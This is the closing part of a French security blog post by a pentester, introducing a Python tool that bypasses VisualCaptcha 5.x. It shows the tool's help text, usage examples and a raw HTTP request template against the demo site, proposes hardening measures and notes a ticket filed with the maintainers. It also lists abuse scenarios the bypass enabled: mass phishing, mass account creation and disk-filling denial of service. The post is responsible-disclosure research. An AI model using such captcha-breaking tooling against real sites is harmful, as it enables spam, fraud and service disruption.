$ python VisualCaptchaBreaker-latest.py -h

 __      ___                 _  _____            _       _
 \ \    / (_)               | |/ ____|          | |     | |
  \ \  / / _ ___ _   _  __ _| | |     __ _ _ __ | |_ ___| |__   __ _
   \ \/ / | / __| | | |/ _` | | |    / _` | '_ \| __/ __| '_ \ / _` |
    \  /  | \__ \ |_| | (_| | | |___| (_| | |_) | || (__| | | | (_| |
     \/   |_|___/\__,_|\__,_|_|\_____\__,_| .__/ \__\___|_| |_|\__,_|
               |  _ \               | |   | |
               | |_) |_ __ ___  __ _| | __|_| _ __
               |  _ <| '__/ _ \/ _` | |/ / _ \ '__|
               | |_) | | |  __/ (_| |   <  __/ |
               |____/|_|  \___|\__,_|_|\_\___|_|

Title:                  VisualCaptchaBreaker.py  Version: 1.0.0
Author:                 Yann CAM
Website:                www.asafety.fr
Source:                 github.com/yanncam/VisualCaptchaBreaker
Description:            Breaking any VisualCaptcha 5.x with 100% success rate
-----------------------------------------------------------------------------

usage: VisualCaptchaBreaker-latest.py [OPTIONS]

Breaking any VisualCaptcha 5.x with 100% success rate :
        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt
        eg: python VisualCaptchaBreaker-latest.py -d TARGET_DIRECTORY
        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt -p "127.0.0.1:8080" -n 10
        eg: python VisualCaptchaBreaker-latest.py -f TARGET_REQUEST.txt -s "/visualCaptcha-PHP/public/start" -i "/visualCaptcha-PHP/public/image" -n 10 -c -v --https

TARGET_REQUEST.txt sample raw request file (to demo.visualcaptcha.net) :
        POST /try HTTP/1.1
        Host: demo.visualcaptcha.net
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
        Referer: http://demo.visualcaptcha.net/
        Cookie: PHPSESSID=MyFaKeSeSsIoNiD
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 52

        %VISUALCAPTCHANAME%=%VISUALCAPTCHAVALUE%&submit-bt=

optional arguments:
  -h, --help            show this help message and exit
  -n NUMBER, --number NUMBER
                        Number of request(s) to make (default: 1)
  -s STARTPATH, --startPath STARTPATH
                        VisualCaptcha initialization path (default: /start)
  -i IMAGEPATH, --imagePath IMAGEPATH
                        VisualCaptcha image path (default: /image)
  -c, --cookie          Use cookie defined in raw HTTP file(s)
  -f FILES [FILES ...], --files FILES [FILES ...]
                        Files containing raw HTTP requests with %VISUALCAPTCHANAME% and %VISUALCAPTCHAVALUE% as POST param
  -d DIRECTORY, --directory DIRECTORY
                        Directory containing raw HTTP requests in files with %VISUALCAPTCHANAME% and %VISUALCAPTCHAVALUE% as POST param
  -p PROXY, --proxy PROXY
                        HTTP Proxy to send requests via. (Burp eg: 127.0.0.1:8080)
  --https               Use HTTPS
  -v, --verbose         Debug logging

Un exemple d’exécution de 10 requêtes avec 100% de réussite de cassage de VisualCaptcha sur le portail de démonstration, en vidéo :

Bingo ! Que des « status=validImage » ! (testé avec plus de 10 000 requêtes pour 100% de réussite).

Conclusion

C’est au cours d’une de mes missions de pentest que je me suis penché sur VisualCaptcha. Celui-ci était nativement intégré comme solution de captcha par défaut dans un CMS connu et très largement utilisé.

En creusant un peu le fonctionnement de cette solution de captcha qui se dit « never broken by a bot (as far we know)« , j’ai poussé l’analyse jusqu’à la production de ce présent article et la création d’un outil avec 100% de réussite.

Le VisualCaptcha sur lequel je luttais était obsolète (une vieille version d’avant 2014), ainsi la sécurité des 1 à 50 octets aléatoires ajoutés dans les images n’était pas encore présente… Une première version du script se fondait donc sur les checkSum des PNG, sans passer par une conversion en JPG.

Ce n’est qu’après m’être intéressé à la dernière version de VisualCaptcha, notamment via le portail de démo, que l’idée de convertir en JPG pour contourner cette protection a été implémentée avec succès.

VisualCaptcha est une excellente solution (bien que cassable). Mais après tout, dès lors qu’un captcha utilise une base de connaissance de taille fixe, la solution est jugée non-sécurisée.

C’est une des rares solutions aussi simple à mettre en oeuvre, compatibles avec une multitude de technologies, entièrement open-source, belle et aisée d’utilisation (il faut le dire!) tout en étant particulièrement adaptée aux terminaux tactiles.

Comment améliorer la sécurité dans ce cas ? Plusieurs pistes :

  • Ajouter des contrôles « comportementaux » type « reCAPTCHA » de Google dans le processus de validation
  • Améliorer la mécanique de rendre les images aléatoires avec les 1 à 50 octets ajoutés, en modifiant des pixels par exemple pour que même lors d’une conversion en JPG les checkSums diffèrent.
    • Certes des solutions d’OCR pourront toujours en venir à bout, mais la tâche de scripting n’en sera que complexifiée pour un éventuel assaillant.
    • Il y a également des alternatives au checkSum pur et simple, comme le pHash que la solution devra déjouer.
  • Si les images sont dotées d’un aléa à chaque chargement (pour éviter les checkSum), penser à faire de même pour l’audio (ce qui semble être le cas, à éprouver !)
  • Pour limiter le nombre de soumission en masse de formulaires protégés par VisualCaptcha, il serait intéressant d’ajouter un laps de temps minimum qu’un utilisateur doit patienter entre l’initialisation du captcha (AJAX call « /start ») et la soumission finale du formulaire. En effet, pour un formulaire de contact par exemple, l’utilisateur va prendre au moins quelques seconde pour remplir tous les champs et sélectionner le bon captcha, autant ajouter cette sécurité nativement.

Un ticket a été ouvert sur le GitHub officiel de VisualCaptcha pour présenter ces pistes et démonstration.

Pour le pentest initial que je menais, ce « breaking VisualCaptcha » a permis de développer des scripts / PoC d’illustration de scénarios d’attaques :

  • Envoi d’emails en masse frauduleux, avec tentative d’hameçonnage
  • Création de milliers / millions de comptes utilisateurs pour saturer une base de données
  • Upload d’une multitude de fichiers afin de saturer l’espace disque côté serveur et provoquer un déni de service (DoS)
  • Etc.

Tout ces formulaires cibles étaient initialement protégés via VisualCaptcha.

Pour la suite, dès que j’aurais un peu de temps, je vais creuser le côté « audio » de la solution…

Je voulais pour finir remercier Bruno Bernardino, un des développeurs principal de VisualCaptcha et initiateur du projet, pour son amabilité et son intérêt quant aux échanges que nous avons pu avoir sur GitHub.

Sources & ressources

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.